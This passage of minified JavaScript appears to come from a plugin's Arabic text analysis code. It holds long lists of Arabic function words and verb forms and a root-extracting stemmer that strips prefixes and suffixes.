","تريدا","أردنا","نريد","نريد","نرد","أردتم","أردتن","تريدون","تردن","تريدوا","تردن","تريدوا","تردن","أريدوا","أردن","أرادوا","أردن","يريدون","يردن","يريدوا","أردت","أراد","أراد","أرد","أردت","أريد","أردتما","أريدا","أردنا","أردتم","أريدوا","أردت","أريدت","أريدتا","أردتن","أردن","تراد","يراد","ترادان","يرادان","نراد","ترادون","يرادون","ترادين","تراد","ترادان","تردن","يردن","تراد","يراد","ترادا","يرادا","نراد","ترادوا","يرادوا","ترادي","تراد","ترادا","تردن","يردن","ترد","يرد","ترادا","يرادا","نرد","ترادوا","يرادوا","ترادي","ترد","ترادا","تردن","يردن","أرد","اعتقاد","معتقد","معتقد","اعتقدت","اعتقدت","اعتقد","اعتقدتما","اعتقدا","اعتقدنا","اعتقدتم","اعتقدوا","اعتقدت","اعتقدت","اعتقدتا","اعتقدتن","اعتقدن","تعتقد","يعتقد","تعتقدان","يعتقدان","نعتقد","تعتقدون","يعتقدون","تعتقدين","تعتقد","تعتقدان","تعتقدن","يعتقدن","تعتقد","يعتقد","تعتقدا","يعتقدا","نعتقد","تعتقدوا","يعتقدوا","تعتقدي","تعتقد","تعتقدا","تعتقدن","يعتقدن","تعتقد","يعتقد","تعتقدا","يعتقدا","نعتقد","تعتقدوا","يعتقدوا","تعتقدي","تعتقد","تعتقدا","تعتقدن","يعتقدن","اعتقدي","اعتقدن","اعتقد","اعتقدا","اعتقدوا","اعتقدت","اعتقدت","اعتقد","اعتقدتما","اعتقدا","اعتقدنا","اعتقدتم","اعتقدوا","اعتقدت","اعتقدت","اعتقدتا","اعتقدتن","اعتقدن","أعتقد","تعتقد","يعتقد","تعتقدان","يعتقدان","نعتقد","تعتقدون","يعتقدون","تعتقدين","تعتقد","تعتقدان","تعتقدن","يعتقدن","أعتقد","تعتقد","يعتقد","تعتقدا","يعتقدا","نعتقد","تعتقدوا","يعتقدوا","تعتقدي","تعتقد","تعتقدا","تعتقدن","يعتقدن","أعتقد","تعتقد","يعتقد","تعتقدا","يعتقدا","نعتقد","تعتقدوا","يعتقدوا","تعتقدي","تعتقد","تعتقدا","تعتقدن","يعتقدن","اعتقد","اعتقدا","اعتقدوا","إيجاد","موجد","موجد","أوجدت","أوجدت","أوجد","أوجدتما","أوجدا","أوجدنا","أوجدتم","أوجدوا","أوجدت","أوجدت","أوجدتا","أوجدتن","أوجدن","أوجد","توجد","يوجد","توجدان","يوجدان","نوجد","توجدون","يوجدون","توجدين","توجد","توجدان","توجدن","يوجدن","أوجد","توجد","يوجد","توجدا","يوجدا","نوجد","توجدوا","يوجدوا","توجدي","توجد","توجدا","توجدن","يوجدن","أوجد","توجد","يوجد","توجدا","يوجدا","نوجد","توجدوا","يوجدوا","توجدي","توجد","توجدا","توجدن","يوجدن","أوجد","أوجدا","أوجدوا","أوجدي","أوجدن","أوجدت","أوجدت","أوجد","أوجدتما","أوجدا","أوجدنا","أوجدتم","أوجدوا","أوجدت","أوجدت","أوجدتا","أوجدتن","أوجدن","أوجد","توجد","يوجد","توجدان","يوجدان","نوجد","توجدون","يوجدون","توجدين","توجد","توجدان","توجدن","يوجدن","أوجد","توجد","يوجد","توجدا","يوجدا","نوجد","توجدوا","يوجدوا","توجدي","توجد","توجدا","توجدن","يوجدن","أوجد","توجد","يوجد","توجدا","يوجدا","نوجد","توجدوا","يوجدوا","توجدي","توجد","توجدا","توجدن","يوجدن","اعتقد","اريد","أذهب","إذهاب","مذهب","مذهب","أذهبت","أذهبت","أذهب","أذهبتما","أذهبا","أذهبنا","أذهبتم","أذهبوا","أذهبت","أذهبت","أذهبتا","أذهبتن","أذهبن","أذهب","تذهب","يذهب","تذهبان","يذهبان","نذهب","تذهبون","يذهبون","تذهبين","تذهب","تذهبان","تذهبن","يذهبن","أذهب","تذهب","يذهب","تذهبا","يذهبا","نذهب","تذهبوا","يذهبوا","تذهبي","تذهب","تذهبا","تذهبن","يذهبن","أذهب","تذهب","يذهب","تذهبا","يذهبا","نذهب","تذهبوا","يذهبوا","تذهبي","تذهب","تذهبا","تذهبن","يذهبن","أذهب","أذهبا","أذهبوا","أذهبي","أذهبن","أذهبت","أذهبت","أذهب","أذهبتما","أذهبا","أذهبنا","أذهبتم","أذهبوا","أذهبت","أذهبت","أذهبتا","أذهبتن","أذهبن","أذهب","تذهب","يذهب","تذهبان","يذهبان","نذهب","تذهبون","يذهبون","تذهبين","تذهب","تذهبان","تذهبن","يذهبن","أذهب","تذهب","يذهب","تذهبا","يذهبا","نذهب","تذهبوا","يذهبوا","تذهبي","تذهب","تذهبا","تذهبن","يذهبن","أذهب","تذهب","يذهب","تذهبا","يذهبا","نذهب","تذهبوا","يذهبوا","تذهبي","تذهب","تذهبا","تذهبن","يذهبن","نذهب","مذهب","ذاهب","مذهوب","ذهبت","ذهبت","ذهب","ذهبتما","ذهبا","ذهبنا","ذهبتم","ذهبوا","ذهبت","ذهبت","ذهبتا","ذهبتن","ذهبن","أذهب","تذهب","يذهب","تذهبان","يذهبان","نذهب","تذهبون","يذهبون","تذهبين","تذهب","تذهبان","تذهبن","يذهبن","أذهب","تذهب","يذهب","تذهبا","يذهبا","نذهب","تذهبوا","يذهبوا","تذهبي","تذهب","تذهبا","تذهبن","يذهبن","أذهب","تذهب","يذهب","تذهبا","يذهبا","نذهب","تذهبوا","يذهبوا","تذهبي","تذهب","تذهبا","تذهبن","يذهبن","اذهب","اذهبا","اذهبوا","اذهبي","اذهبن","ذهب","يذهب","يذهب","يذهب","أظن","ظن","ظان","مظنون","ظننت","ظننت","ظن","ظننتما","ظنا","ظننا","ظننتم","ظنوا","ظننت","ظنت","ظنتا","ظننتن","ظنن","أظن","تظن","يظن","تظنان","يظنان","نظن","تظنون","يظنون","تظنين","تظن","تظنان","تظنن","يظنن","أظن","تظن","يظن","تظنا","يظنا","نظن","تظنوا","يظنوا","تظني","تظن","تظنا","تظنن","يظنن","أظنن","تظنا","يظنا","تظنوا","يظنوا","تظنن","تظني","تظنا","تظنن","يظنن","أظن","أظن","تظن","تظن","يظنن","يظن","ظني","اظنن","يظن","نظنن","نظن","نظن","تظنن","تظن","تظن","ظنا","اظنن","ظن","ظن","ظنوا","اذهب","اذهبا","اذهبوا","ظننت","ظننت","ظن","ظننتما","ظنا","ظننا","ظننتم","ظنوا","ظننت","ظنت","ظنتا","ظننتن","ظنن","أظن","تظن","يظن","تظنان","يظنان","نظن","تظنون","يظنون","تظنين","تظن","تظنان","تظنن","يظنن","أظن","تظن","يظن","تظنا","يظنا","نظن","تظنوا","يظنوا","تظني","تظن","تظنا","تظنن","يظنن","أظنن","تظنا","يظنا","تظنوا","يظنوا","أظن","تظني","تظنا","تظنن","يظنن","تظنن","تظن","تظن","يظنن","يظن","يظن","نظنن","نظن","نظن","تظنن","تظن","تظن","ذهبت","تظن","توجدت","توجدت","توجد","توجدتما","توجدا","توجدنا","توجدتم","توجدوا","توجدت","توجدت","توجدتا","توجدتن","توجدن","أتوجد","ʾتتوجد","يتوجد","تتوجدان","يتوجدان","نتوجد","تتوجدون","يتوجدون","تتوجدين","تتوجد","تتوجدان","تتوجدن","يتوجدن","أتوجد","ʾتتوجد","يتوجد","تتوجدا","يتوجدا","نتوجد","تتوجدوا","يتوجدوا","تتوجدي","تتوجد","تتوجدا","تتوجدن","يتوجدن","أتوجد","ʾتتوجد","يتوجد","تتوجدا","يتوجدا","نتوجد","تتوجدوا","يتوجدوا","تتوجدي","تتوجد","تتوجدا","تتوجدن","يتوجدن","توجد","توجدا","توجدوا","توجدي","توجدن","توجد","يتوجد","يتوجد","يتوجد","توجد","متوجد","متوجد","دعاء","داع","مدعو","دعوت","دعوت","دعا","دعوتما","دعوا","دعونا","دعوتم","دعوا","دعوت","دعت","دعتا","دعوتن","دعون","أدعو","تدعو","يدعو","تدعوان","يدعوان","ندعو","تدعون","يدعون","تدعين","تدعو","تدعوان","تدعون","يدعون","أدعو","تدعو","يدعو","تدعوا","يدعوا","ندعو","تدعوا","يدعوا","تدعي","تدعو","تدعوا","تدعون","يدعون","أدع","تدع","يدع","تدعوا","يدعوا","ندع","تدعوا","يدعوا","تدعي","تدع","تدعوا","تدعون","يدعون","ادع","ادعوا","ادعوا","ادعي","ادعون","دعيت","دعيت","دعي","دعيتما","دعيا","دعينا","دعيتم","دعوا","دعيت","دعيت","دعيتا","دعيتن","دعين","أدعى","تدعى","يدعى","تدعيان","يدعيان","ندعى","تدعون","يدعون","تدعين","تدعى","تدعيان","تدعين","يدعين","أدعى","تدعى","يدعى","تدعيا","يدعيا","ندعى","تدعوا","يدعوا","تدعي","تدعى","تدعيا","تدعين","يدعين","أدع","تدع","يدع","تدعيا","يدعيا","ندع","تدعوا","يدعوا","تدعي","تدع","تدعيا","تدعين","يدعين","تفكر","متفكر","متفكر","تفكرت","تفكرت","تفكر","تفكرتما","تفكرا","تفكرنا","تفكرتم","تفكروا","تفكرت","تفكرت","تفكرتا","تفكرتن","تفكرن","أتفكر","تتفكر","يتفكر","تتفكران","يتفكران","نتفكر","تتفكرون","يتفكرون","تتفكرين","تتفكر","تتفكران","تتفكرن","يتفكرن","أتفكر","تتفكر","يتفكر","تتفكرا","يتفكرا","نتفكر","تتفكروا","يتفكروا","تتفكري","تتفكر","تتفكرا","تتفكرن","يتفكرن","أتفكر","تتفكر","يتفكر","تتفكرا","يتفكرا","نتفكر","تتفكروا","يتفكروا","تتفكري","تتفكر","تتفكرا","تتفكرن","يتفكرن","تفكر","تفكرا","تفكروا","تفكري","تفكرن","تفكر","يتفكر","يتفكر","يتفكر","مجيء","جيء","جيئة","جيئة","جاء","مجيء","جئت","جئت","جاء","جئتما","جاءا","جئنا","جئتم","جائوا","جاؤوا","جئت","جاءت","جاءتا","جئتن","جئن","أجيء","تجيء","يجيء","تجيئان","يجيئان","نجيء","تجيئون","تجيؤون","يجيئون","يجيؤون","تجيئين","تجيء","تجيئان","تجئن","يجئن","أجيء","تجيء","يجيء","تجيئا","يجيئا","نجيء","تجيئوا","تجيؤوا","يجيئوا","يجيؤوا","تجيئي","تجيء","تجيئا","تجئن","يجئن","أجئ","تجئ","يجئ","تجيئا","يجيئا","نجئ","تجيئوا","تجيؤوا","يجيئوا","يجيؤوا","تجيئي","تجئ","تجيئا","تجئن","يجئن","جئ","جيئا","جيئوا","جيؤوا","جيئي","جئن","جئت","جئت","جيء","جئتما","جيئا","جئنا","جئتم","جيئوا","جيؤوا","جئت","جيئت","جيئتا","جئتن","جئن","أجاء","تجاء","يجاء","تجاءان","يجاءان","نجاء","تجائون","تجاؤون","يجائون","يجاؤون","تجائين","تجاء","تجاءان","تجأن","يجأن","أجاء","تجاء","يجاء","تجاءا","يجاءا","نجاء","تجائوا","تجاؤوا","يجائوا","يجاؤوا","تجائي","تجاء","تجاءا","تجأن","يجأن","أجأ","تجأ","يجأ","تجاءا","يجاءا","نجأ","تجائوا","تجاؤوا","يجائوا","يجاؤوا","تجائي","تجأ","تجاءا","تجأن","يجأن","إرادة","مريد","مراد","أردت","أردت","أراد","أردتما","أرادا","أردنا","أردتم","أرادوا","أردت","أرادت","أرادتا","أردتن","أردن","أريد","تريد","يريد","تريدان","يريدان","نريد","تريدون","يريدون","تريدين","تريد","تريدان","تردن","يردن","أريد","تريد","يريد","تريدا","يريدا","نريد","تريدوا","يريدوا","تريدي","تريد","تريدا","تردن","يردن","أرد","ترد","يرد","تريدا","يريدا","نرد","تريدوا","يريدوا","تريدي","ترد","تريدا","تردن","يردن","أرد","أريدا","أريدوا","أريدي","أردن","أردت","أردت","أريد","أردتما","أريدا","أردنا","أردتم","أريدوا","أردت","أريدت","أريدتا","أردتن","أردن","أراد","تراد","يراد","ترادان","يرادان","نراد","ترادون","يرادون","ترادين","تراد","ترادان","تردن","يردن","أراد","تراد","يراد","ترادا","يرادا","نراد","ترادوا","يرادوا","ترادي","تراد","ترادا","تردن","يردن","أرد","ترد","يرد","ترادا","يرادا","نرد","ترادوا","يرادوا","ترادي","ترد","ترادا","تردن","يردن","إتيان","أتي","مأتاة","مأتى","آت","مأتي","أتيت","أتيت","أتى","أتيتما","أتيا","أتينا","أتيتم","أتوا","أتيت","أتت","أتتا","أتيتن","أتين","آتي","تأتي","يأتي","تأتيان","يأتيان","نأتي","تأتون","يأتون","تأتين","تأتي","تأتيان","تأتين","يأتين","آتي","تأتي","يأتي","تأتيا","يأتيا","نأتي","تأتوا","يأتوا","تأتي","تأتي","تأتيا","تأتين","يأتين","آت","تأت","يأت","تأتيا","يأتيا","نأت","تأتوا","يأتوا","تأتي","تأت","تأتيا","تأتين","يأتين","ايت","ايتيا","ايتوا","ايتي","ايتين","أتيت","أتيت","أتي","أتيتما","أتيا","أتينا","أتيتم","أتوا","أتيت","أتيت","أتيتا","أتيتن","أتين","أوتى","تؤتى","يؤتى","تؤتيان","يؤتيان","نؤتى","تؤتون","يؤتون","تؤتين","تؤتى","تؤتيان","تؤتين","يؤتين","أوتى","تؤتى","يؤتى","تؤتيا","يؤتيا","نؤتى","تؤتوا","يؤتوا","تؤتي","تؤتى","تؤتيا","تؤتين","يؤتين","أوت","تؤت","يؤت","تؤتيا","يؤتيا","نؤت","تؤتوا","يؤتوا","تؤتي","تؤت","تؤتيا","تؤتين","يؤتين","فعلته","فعل","فعل","فاعل","مفعول","فعلت","فعلت","فعل","فعلتما","فعلا","فعلنا","فعلتم","فعلوا","فعلت","فعلت","فعلتا","فعلتن","فعلن","أفعل","تفعل","يفعل","تفعلان","يفعلان","نفعل","تفعلون","يفعلون","تفعلين","تفعل","تفعلان","تفعلن","يفعلن","أفعل","تفعل","يفعل","تفعلا","يفعلا","نفعل","تفعلوا","يفعلوا","تفعلي","تفعل","تفعلا","تفعلن","يفعلن","أفعل","تفعل","يفعل","تفعلا","يفعلا","نفعل","تفعلوا","يفعلوا","تفعلي","تفعل","تفعلا","تفعلن","يفعلن","افعل","افعلا","افعلوا","افعلي","افعلن","فعلت","فعلت","فعل","فعلتما","فعلا","فعلنا","فعلتم","فعلوا","فعلت","فعلت","فعلتا","فعلتن","فعلن","أفعل","تفعل","يفعل","تفعلان","يفعلان","نفعل","تفعلون","يفعلون","تفعلين","تفعل","تفعلان","تفعلن","يفعلن","أفعل","تفعل","يفعل","تفعلا","يفعلا","نفعل","تفعلوا","يفعلوا","تفعلي","تفعل","تفعلا","تفعلن","يفعلن","أفعل","تفعل","يفعل","تفعلا","يفعلا","نفعل","تفعلوا","يفعلوا","تفعلي","تفعل","تفعلا","تفعلن","يفعلن","قصد","مقصد","قاصد","مقصود","قصدت","قصدت","قصد","قصدتما","قصدا","قصدنا","قصدتم","قصدوا","قصدت","قصدت","قصدتا","قصدتن","قصدن","أقصد","تقصد","يقصد","تقصدان","يقصدان","نقصد","تقصدون","يقصدون","تقصدين","تقصد","تقصدان","تقصدن","يقصدن","أقصد","تقصد","يقصد","تقصدا","يقصدا","نقصد","تقصدوا","يقصدوا","تقصدي","تقصد","تقصدا","تقصدن","يقصدن","أقصد","تقصد","يقصد","تقصدا","يقصدا","نقصد","تقصدوا","يقصدوا","تقصدي","تقصد","تقصدا","تقصدن","يقصدن","اقصد","اقصدا","اقصدوا","اقصدي","اقصدن","قصدت","قصدت","قصد","قصدتما","قصدا","قصدنا","قصدتم","قصدوا","قصدت","قصدت","قصدتا","قصدتن","قصدن","أقصد","تقصد","يقصد","تقصدان","يقصدان","نقصد","تقصدون","يقصدون","تقصدين","تقصد","تقصدان","تقصدن","يقصدن","أقصد","تقصد","يقصد","تقصدا","يقصدا","نقصد","تقصدوا","يقصدوا","تقصدي","تقصد","تقصدا","تقصدن","يقصدن","أقصد","تقصد","يقصد","تقصدا","يقصدا","نقصد","تقصدوا","يقصدوا","تقصدي","تقصد","تقصدا","تقصدن","يقصدن","زائل","زلت","زلت","زال","زلتما","زالا","زلنا","زلتم","زالوا","زلت","زالت","زالتا","زلتن","زلن","أزال","تزال","يزال","تزالان","يزالان","نزال","تزالون","يزالون","تزالين","تزال","تزالان","تزلن","يزلن","أزال","تزال","يزال","تزالا","يزالا","نزال","تزالوا","يزالوا","تزالي","تزال","تزالا","تزلن","يزلن","أزل","تزل","يزل","تزالا","يزالا","نزل","تزالوا","يزالوا","تزالي","تزل","تزالا","تزلن","يزلن","زل","زالا","زالوا","زالي","زلن","عملت","عملت","عمل","عملتما","عملا","عملنا","عملتم","عملوا","عملت","عملت","عملتا","عملتن","عملن","أعمل","تعمل","يعمل","تعملان","يعملان","نعمل","تعملون","يعملون","تعملين","تعملن","يعملن","أعمل","تعمل","يعمل","تعملا","يعملا","نعمل","تعملوا","يعملوا","تعملي","أعمل","تعمل","يعمل","نعمل","اعمل","اعملا","اعملوا","اعملي","اعملن","عملت","عملت","عمل","عملتما","عملا","عملنا","عملتم","عملوا","عملت","عملت","عملتا","عملتن","عملن","أعمل","تعمل","يعمل","تعملان","يعملان","نعمل","تعملون","يعملون","تعملين","تعملن","يعملن","أعمل","تعمل","يعمل","تعملا","يعملا","نعمل","تعملوا","يعملوا","تعملي","أعمل","تعمل","يعمل","نعمل","عملت","عننت","عننت","عن","عننتما","عنا","عننا","عننتم","عنوا","عننت","عنت","عنتا","عننتن","عنن","أعن","أعن","تعن","تعن","يعن","يعن","تعنان","تعنان","يعنان","يعنان","نعن","نعن","تعنون","تعنون","يعنون","يعنون","تعنين","تعنين","تعنن","تعنن","يعنن","يعنن","أعن","أعن","تعن","تعن","يعن","يعن","تعنا","تعنا","يعنا","يعنا","نعن","نعن","تعنوا","تعنوا","يعنوا","يعنوا","تعني","تعني","أعن","أعنن","أعن","أعنن","تعن","تعنن","تعن","تعنن","يعن","يعنن","يعن","يعنن","نعن","نعنن","نعن","نعنن","عن","عن","اعنن","عن","عن","اعنن","عنا","عنا","عنوا","عني","عني","اعنن","اعنن","يعن","يعن","يعن","يعنن","قمت","قمت","قام","قمتما","قاما","قمنا","قمتم","قاموا","قمت","قامت","قامتا","قمتن","قمن","أقوم","تقوم","يقوم","تقومان","يقومان","نقوم","تقومون","يقومون","تقومين","تقمن","يقمن","أقوم","تقوم","يقوم","تقوما","يقوما","نقوم","تقوموا","يقوموا","تقومي","أقم","تقم","يقم","نقم","قم","قوما","قوموا","قومي","قيم","يقام","يقام","يقم","وددت","وددت","ود","وددتما","ودا","وددنا","وددتم","ودوا","وددت","ودت","ودتا","وددتن","وددن","أود","تود","يود","تودان","يودان","نود","تودون","يودون","تودين","توددن","يوددن","أود","تود","يود","تودا","يودا","نود","تودوا","يودوا","تودي","أود","أودد","تود","تودد","يود","يودد","نود","نودد","ود","ايدد","ودي","ايددن","وددت","وددت","ود","وددتما","ودا","وددنا","وددتم","ودوا","وددت","ودت","ودتا","وددتن","وددن","أود","تود","يود","تودان","يودان","نود","تودون","يودون","تودين","توددن","يوددن","أود","تود","يود","تودا","يودا","نود","تودوا","يودوا","تودي","أود","أودد","تود","تودد","يود","يودد","نود","نودد","حاولت","حاولت","حاول","حاولتما","حاولا","حاولنا","حاولتم","حاولوا","حاولت","حاولت","حاولتا","حاولتن","حاولن","أحاول","تحاول","يحاول","تحاولان","يحاولان","نحاول","تحاولون","يحاولون","تحاولين","تحاولن","يحاولن","أحاول","تحاول","يحاول","تحاولا","يحاولا","نحاول","تحاولوا","يحاولوا","تحاولي","أحاول","تحاول","يحاول","نحاول","حاول","حاولا","حاولوا","حاولي","حاولن","حوولت","حوولت","حوول","حوولتما","حوولا","حوولنا","حوولتم","حوولوا","حوولت","حوولت","حوولتا","حوولتن","حوولن","أحاول","تحاول","يحاول","تحاولان","يحاولان","نحاول","تحاولون","يحاولون","تحاولين","تحاولن","يحاولن","أحاول","تحاول","يحاول","تحاولا","يحاولا","نحاول","تحاولوا","يحاولوا","تحاولي","أحاول","تحاول","يحاول","نحاول","احتجت","احتجت","احتاج","احتجتما","احتاجا","احتجنا","احتجتم","احتاجوا","احتجت","احتاجت","احتاجتا","احتجتن","احتجن","أحتاج","تحتاج","يحتاج","تحتاجان","يحتاجان","نحتاج","تحتاجون","يحتاجون","تحتاجين","تحتجن","يحتجن","أحتاج","تحتاج","يحتاج","تحتاجا","يحتاجا","نحتاج","تحتاجوا","يحتاجوا","تحتاجي","أحتج","تحتج","يحتج","نحتج","احتج","احتاجي","احتجت","احتجت","احتيج","احتجتما","احتيجا","احتجنا","احتجتم","احتيجوا","احتجت","احتيجت","احتيجتا","احتجتن","احتجن","أحتاج","تحتاج","يحتاج","تحتاجان","يحتاجان","نحتاج","تحتاجون","يحتاجون","تحتاجين","تحتجن","يحتجن","أحتاج","تحتاج","يحتاج","تحتاجا","يحتاجا","نحتاج","تحتاجوا","يحتاجوا","تحتاجي","أحتج","تحتج","يحتج","نحتج","عنيت","عنيت","عنى","عنيتما","عنيا","عنينا","عنيتم","عنوا","عنيت","عنت","عنتا","عنيتن","عنين","أعني","تعني","يعني","تعنيان","يعنيان","نعني","تعنون","يعنون","تعنين","يعنين","أعني","تعني","يعني","تعنيا","يعنيا","نعني","تعنوا","يعنوا","أعن","تعن","يعن","نعن","اعن","اعنيا","اعنوا","اعني","اعنين","عنيت","عنيت","عني","عنيتما","عنيا","عنينا","عنيتم","عنوا","عنيت","عنيت","عنيتا","عنيتن","عنين","أعنى","تعنى","يعنى","تعنيان","يعنيان","نعنى","تعنون","يعنون","تعنين","يعنين","تعنيا","يعنيا","تعنوا","يعنوا","تعني","أعن","تعن","يعن","نعن","يعنين","عندي","عندنا","عندك","عندك","عندكما","عندكم","عندكن","عنده","عندها","عندهما","عندهم","عندهن","بقاء","البقاء","بقاء","البقاء","بقاء","بقاء","البقاء","بقاء","بقاء","البقاء","بقاء"],j=["جيد","آخر","رائع","أفضل","جيدة","نفس","فقط","مجرد","كبير","الأفضل","عظيم","جميلة","كبيرة","رائعة","جديد","صغيرة","الصغير","متأكد","مهما","صغير","جيدا","الصغيرة","أكبر","جديدة","افضل","الجديد","طويلة","ممكن","اخر","طويل","الممكن","الخاصة","سيئة","الكبير","حقيقي","بعيدا","الجيد","مهم","الجديدة","كثير","الكبيرة","القليل","ممتاز","الحقيقي","سيء","معا","قليل","بعيد","واضح","مختلف","متأكدة","الصعب","أسوأ","حوالي","كامل","سيئ","بالإمكان","بكثير","خاص","سوية","مختلفة","قريب","الأخير","الأخيرة","الافضل","خير"],A=["واو","هيا","آه","هيه","هاى","أوه","أخخ","هووه","صه","أوبس","أها","آخ","أح","شو","ههههه"],H=["كلغ","ملغ","الكوارت","جرام","جالون","ربع ","كوارتات","لتر","سنتيلتر","مليمتر","دزينة","ملاعق","ذراع","قبضة","عربية","قصبة","بريد","قدم","ربع"],k=["الأمر","الأشياء","الشيء","الأمور","الامر","أشياء","جزء","الاشياء","الامور","الطريقة","طريقا","طرق","قطعة","الأجزاء","مادة","مرات","بالمئة","جانب","جوانب","بند","عنصر","عناصر","بنود","فكرة","موضوع","تفصيل","تفاصيل","فرق","فروق","كيفية"],D=["نعم","حسنا","إنه","إني","إنها","إنك","إنكم","إنهم","إنكما","إنهما","إننا","إنهن","فإن","إنني","كلا","أجل","أنه","أنك","انها","أنها","بأن","أنني","أنكم","أنهما","أنكما","أنهن","أنهم","انك","أني","أننا","انهم","بأنك","لأنه","بأنه","اني","أننى","انني","اننا","بأنني","اننى","بأني","بأنها","وأن","بأننا","للتو","ها","رجاء","تفضل","اجل","حالك","فضلك","أرجوك","هكذا","انة","بلى","أعلى","انى","لا","لن","لم","ولا","ألا","ولم","ولن","عدم","فلا","فلن","يلا","يلة"],T=["عندما","مثل","بالطبع","لأن","إذن","بشكل","متى","حتى","قبل","ثم","عند","حيث","بينما","لمدة","مثلك","حين","بأي","زلت","وعندما","أثناء","حينما","أولا","لاحقا","أما","وإلا","لفترة","كلما","عندنا","إلا","الا"],Y=(i([].concat(u,j)),i([].concat(c,L,z,O,f,x,h)),i([].concat(T,o,y,l,d,g,A,a,F,b,_,M,w,P,S,R,W,v,D,E,H,["اليوم","يوم","ليلة","دقيقة","ساعة","عام","دقائق","سنة","الساعة","أيام","العام","الأسبوع","غدا","ساعات","أمس","أشهر","الأيام","شهر","السنة","الغد","يوما","ثانية","ثوان","أسبوع","أسابيع","أسبوعا","بالأمس"],k,m,p)),i([].concat(c,a,u,f,g,l,d,h,w,S,R,W,v,y,E,F,b,L,O,P,_,T,o,["الآن","كذلك","ربما","كما","لذا","الان","الأن","بما","أيضا","بالنسبة","فحسب","والآن","بكل","مما","ايضا","بخصوص","القادمة","المحتمل","مازال","مازلت","طالما","بالتأكيد","بدلا","بوضوح","فورا","حالا","التالي","حاليا","بالعادة","تقريبا","ببساطة","اختياريا","أحيانا","أبدا","بالمناسبة","خاصة","مؤخرا","نسبيا"],x,M,A,j,H,k,D,["السيد","السيدة","افندم","سعادتك","استاذة","استاذ","مدام","أستاذ","أسـتاذة","الأخ","الأخت"],m,p,z))),B=[["لا","ولا"],["إما","أو"],["ربما","ربما"],["حينئذ","عندئذ"],["إما","وإما"],["كل من","و"]],C=["ل","ب","ك","و","ف","س","أ","ال","وب","ول","لل","فس","فب","فل","وس","وال","بال","فال","كال","ولل","وبال"],$=[...C].sort(((e,t)=>t.length-e.length)),q=new RegExp(`^(${$.join("|")})`);function G(e){const t=[];t.push(...C.map((t=>t+e)));const{stem:r,prefix:n}=function(e,t){let r=e,n="";const o=e.match(t);return o&&(n=o[0],r=e.slice(n.length)),{stem:r,prefix:n}}(e,q);return""!==n&&(t.push(r),t.push(...C.map((e=>e+r)))),t}const I=window.lodash,J=function(e,t){const r=t.externalStemmer,n=r.characters;return r.wordsWithLastAlefRemoved.includes(e)?e+n.alef:r.wordsWithLastHamzaRemoved.includes(e)?e+n.alef_hamza_above:r.wordsWithLastMaksoraRemoved.includes(e)?e+n.yeh_maksorah:r.wordsWithLastYehRemoved.includes(e)?e+n.yeh:void 0},K=function(e,t){const r=t.externalStemmer,n=r.characters;return r.wordsWithMiddleWawRemoved.includes(e)?e[0]+n.waw+e[1]:r.wordsWithMiddleYehRemoved.includes(e)?e[0]+n.yeh+e[1]:void 0},N=function(e,t,r,n){const o=e.replace(new RegExp(r[0]),r[1]);if(o!==e)return n(o,t)},Q=function(e,t){const r=t.externalStemmer.characters;if(t.externalStemmer.threeLetterRoots.includes(e))return e;e[0]!==r.alef&&e[0]!==r.waw_hamza&&e[0]!==r.yeh_hamza||(e=r.alef_hamza_above+e.slice(1));const n=N(e,t,t.externalStemmer.regexRemoveLastWeakLetterOrHamza,J);if(n)return n;const o=N(e,t,t.externalStemmer.regexRemoveMiddleWeakLetterOrHamza,K);if(o)return o;const s=t.externalStemmer.regexReplaceMiddleLetterWithAlef,i=t.externalStemmer.regexReplaceMiddleLetterWithAlefWithHamza,c=e.replace(new RegExp(s[0]),s[1]);e=c===e?e.replace(new RegExp(i[0]),i[1]):c;const a=t.externalStemmer.regexRemoveShaddaAndDuplicateLastLetter;return e.replace(new RegExp(a[0]),a[1])},U=function(e,t,r){return 6===e.length&&e[3]===e[5]&&2===t?Q(e.substring(1,4),r):e},V=function(e,t,r,n){const o=n.externalStemmer.characters;if(e.length-3<=r){let r="";for(let n=0;n<e.length;n++)t[n]!==o.feh&&t[n]!==o.aen&&t[n]!==o.lam||(r=r.concat(e[n]));return Q(r,n)}return e},X=function(e,t,r){const n=r.externalStemmer.characters;let o=0;for(let r=0;r<e.length;r++)t[r]===e[r]&&t[r]!==n.feh&&t[r]!==n.aen&&t[r]!==n.lam&&o++;return o},Z=function(e,t){const r=function(e,t){return e.replace(new RegExp(t[0]),t[1])}(e,t.externalStemmer.regexReplaceFirstHamzaWithAlef);for(const e of t.externalStemmer.patterns)if(e.length===r.length){const n=X(r,e,t),o=U(r,n,t);if(o!==r)return{word:o,rootFound:!0};const s=V(r,e,n,t);if(s!==r)return{word:s,rootFound:!0}}if(r!==e)return{word:r,rootFound:!1}},ee=function(e,t){return 2===e.length?function(e,t){if(t.externalStemmer.wordsWithRemovedDuplicateLetter.includes(e))return e+e.substring(1);const r=J(e,t);if(r)return r;const n=function(e,t){const r=t.externalStemmer,n=r.characters;return r.wordsWithFirstWawRemoved.includes(e)?n.waw+e:r.wordsWithFirstYehRemoved.includes(e)?n.yeh+e:void 0}(e,t);if(n)return n;return K(e,t)||e}(e,t):3===e.length?Q(e,t):4===e.length&&t.externalStemmer.fourLetterRoots.includes(e)?e:void 0},te=function(e,t){for(const r of t)if(e.startsWith(r))return e.substring(r.length,e.length);return e},re=function(e,t){const r=function(e,t){for(const r of t)if(e.endsWith(r))return e.slice(0,-r.length);return e}(e,t.externalStemmer.suffixes);if(r!==e){const e=ee(r,t);if(e)return{word:e,rootFound:!0};const n=Z(r,t);if(n)return n}},ne=function(e,t){let r=te(e,t.externalStemmer.prefixes);if(r!==e){const e=ee(r,t);if(e)return{word:e,rootFound:!0};const n=Z(r,t);if(n){if(!0===n.rootFound)return n;r=n.word}const o=re(r,t);if(o)return o}},oe=function(e,t){const r=ee(e,t);if(r)return{word:r,rootFound:!0};const n=Z(e,t);let o=e;if(n){if(!0===n.rootFound)return n;o=n.word}const s=re(o,t);if(s)return s;return ne(o,t)||(o!==e?{word:o,rootFound:!1}:void 0)},{baseStemmer:se}=r.languageProcessing;function ie(e){const t=(0,I.get)(e.getData("morphology"),"ar",!1);return t?e=>function(e,t){const r=t.externalStemmer.regexRemovingDiacritics;e.replace(new RegExp(r),"");const n=ee(e,t);if(n)return n;const o=Z(e,t);if(o){if(!0===o.rootFound)return o.word;e=o.word}const s=function(e,t){const r=te(e,t.externalStemmer.definiteArticles);if(r!==e)return oe(r,t)||{word:r,rootFound:!1}}(e,t);if(s){if(!0===s.rootFound)return s.word;e=s.word}const i=function(e,t){let r="";if(e.length>3&&e.startsWith(t.externalStemmer.characters.waw)){r=e.substring(1);const n=oe(r,t);if(n)return 